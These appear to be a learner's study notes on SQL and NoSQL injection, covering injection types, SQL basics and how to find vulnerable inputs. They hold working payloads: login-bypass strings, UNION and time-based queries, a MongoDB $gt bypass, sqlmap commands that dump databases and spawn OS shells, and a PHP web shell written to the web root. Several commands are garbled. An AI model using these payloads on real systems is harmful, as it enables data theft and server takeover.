SQL injection

SQL injection

- SQL injection , SQL statements into the app input field
- occurs when web app doesn't properly validate user input , manipulate database or gain access to sensitive data (information)
- Input point must has interaction with database
- used in theft of sensitive data , un authorized info , full compromise
- (CMS) MySQL , MSSQL , SQL , Oracle, PostgreSQL, etc...
- any web app use database store different types of data.

types of SQL injection

In Band SQLi	Blind SQLi	Outbound
Error based Union Based	Boolean based time based	

In-Band SQL injection

- common type of attack , occurs when attacker use the same channel to send and receive the result
- used to steel sensitive data , modify , delete or take over the entire application or server

Error Based

- SQL code that cause the web application to generate an error message
- Error message can contain valuable info about database schema or the contexts of the database it self

Union Based

- used to combine the result of two or more SQL queries into single result
- extract data from the database

Blind SQL

- doesn't reveal information or results of the SQL query
- typically uses various tech to infer information about database time delay, Boolean logic to delay database

Boolean

- Boolean conditions to interfere with the database

Time

- to measure the time takes for the application to respond

Outbound

- return of data from other communication channel
- not reeling of data from web application

DBMS and DB

- Manage , access , update (structured data, unstructured data)

DBMS

- set of tools to interact with data
- interface
  - MySQL
  - PostgreSQL

    - Oracle
    - Microsoft
- SQL :
    - store data in tables with rows an columns
    - structured query language

Relational database

- organize data in one or more tables
- relation between tables are established by use of a key , which links the records
- uses SQL
- Key are used to Uniquely Identify records within tables
- Primary Key : is a column or set of columns that uniquely Identifies each row
- For column in one table that reference to the primary key of another table , establishing relations between tables

Relation types

- one - one
- many -many
- 1- many
- tables are connected together

NOSQL

- handle large volume of un structured , semi structured , rapidly changing data
- commonly used in modern web app real time streaming , CMS , big data analysis
- Types
    - Mongo DB -> JSON like document
    - Redis -> memory database

SQL statements

sql statement	what it do
select	reads database
Union	combine the results
Insert	update new data in a table
delete	deletes data from a table
Orderby	used to sort the result ascending order
Limit by	retrieve data from one or more tables

special char	what it do
' or "	char string indicator
/..../	Multi-Line
+	concat
# or --	single line
||	concat
%	wild card attribute
@name	local variable
@@	global variable
Wait for delay	Time delay

```
select * from wp-users;  get all records;
select user_login from wp_users where ID=1;
select * from wp_users where user_login='admin';
select user_login,user_pass from wp_users;
select user_login from wp_users where ID=20 OR 'a'='a'; <- logical operation always true
```

```
Insert into new_user values ("Anas", "Password");
update new_user set name ="anas1" where ID ="Password";
Delete from new_user where id="Password";
```

#note Union must match the number of columns .

Hunting SQL vuln

- must be input value that interact with database
- 1- input without sanitization
- 2- Login form
- Enum website before SQL injection
  - Log in forms
  - search boxes
  - URL parameters
  - form fields
  - Hidden fields
  - cookies

finding SQL injection

- manual testing , Error based testing , any sign that any thing you injected is running by the actual database
- Union based testing
- Boolean testing
- Time based testing to delay execution
- Input validation and sanitization
  #note Auto by using
  - burp suite
  - OWASP ZAP
  - SQLMAP

```
' and " select , Union , #or--
check is it char or Integer based
```

Integer based

```
select * from users where id=FUZZ;

select * from users where username= ' OR '1'='1';-- ' ANd password="anas"
```

- Single quote exploit used to delimit string literals , when user input is directly , in cooperated with SQL query without proper sanitization , that can disturb query structure and allow For injections

Data base finger printing

- error based SQL -> input [Incorrect syntax] MS-SQL

```
'
''
"
```

```
'OR '1'='1'-
' OR'1'='1'#    MS-SQL

'OR '1'='1' %00   ACCESS-DB
            %16
```

How to find SQL Vuln

- find log in form
- try the delimiter ' Error based SQL
- Boolean operator ' OR 1=1#
- if you use burp don't forget to encode the request

- CHECK url (NEVER IGNORE THEM)
- if you cant find any login forms or parameters in URL so relay on WEB proxy -> random user -> in body add POST request

```
author='   Error based
author='1=1#
union select null,null,null,null#
```

- cheat sheet

```
Union select * from blog-table where blogger-name='admin'#
```

- combine two diff tables but must have same number of columns

SQL injection VIA ZAP and proxy

- FUZZ ->
- Intruder -> word list
- it depends on word list

```
SQLmap -u "" --data "words_exact" -p word_exact --method POST

sqlmap -r request.txt -p Injectable parameter --technique=E Error based
Y
N
Y
Y

sqlmap -r -p words_exact --technique=E --current-db

sqlmap -r -p words_exact --technique=E -D nameofDB --tables

sqlmap -r -p words_exact --technique=E -D nameofDB -T name of table --dump
```

```
sqlmap -r -p words_exact --technique=E --os-shell
sqlmap -r -p words_exact --technique=E --os-pwn
```

Exploiting Error based SQL

- it relies on causing DB error and using Error message to extract info or gain access to database
- error message can contain valuable info about database schema or content of table it self¡

Exploiting Union based SQL

- by union is used to combine the results of two queries into one
- result must have the same number of columns
- to extract sensitive data

```
'or 1=1-- SQL-light
'or 1=1 union select 1,2,3,4,5 INcrement as you reach
select no to Inject (Show other table in it)
' or 1=1 union select 1,2,3,4,5--
' or 1=1 union select tbl-name,2,3,4,5 From sqlite_master
union select flag,2,value,4,5 from secret_flag--
```

Boolean Based SQL Vuln

- it exploit the app response
- key see app response

```
' or 1=1--
'or 1=1#
```

- Exploit -> burp suite -> repeater
- Victor CMS -> URL -> see response of web

```
5or 1=1--
1 and 1=1--
```

```
sqlmap -r request,txt -p POST

sqlmap -r -p -d --current-db -dbs->all DB

sqlmap -r -p -D -T users --columns --dump
```

time based

- see the response of delaying the response of DB

```
' or sleep(5)#
admin' and sleep(5) and 1=1#
admin' and benchmark(1000,Encode('Hello'))
'or benchmark(1m,MD5(1))#admin'
admin');wait for delay "0:0:5"#
```

NOSQL Fund

- non relational approach to store data
- unlike traditional DB , which organize data into table
- NoSQL offer move flexible data models that can handle unstructured , semi structured , readily evolving data.
- Type of NOSQL
    - key value store
    - Document databases
    - columnar data bases
    - Mango DB -> have it's own query language
    - Cassandra
    - Redis -> in memory data structure

Mongo Database

```
show dbs;
use users
show collections -> db.current.find9({"user":""})
show dbs
db.fal.find()
db.current.find({"user":"name"})
db.current.find()
db.city.find({"city":"MA"}).count()
db.city({"POP":{$gt:1500}}).count()
db.city.find({$and:[{pop:{$gt:15000}},{"state":"FL"}]}).count
```

- Mongo DB injection
- username:{$gt:""}

RCE VIA SQL

```
SELECT '<?php $output = shell_exec($_GET["cmd"]); echo "<pre>$output</pre>"; ?>' INTO OUTFILE
'/var/www/html/shell.php'FROM mysql.user LIMIT 1;
```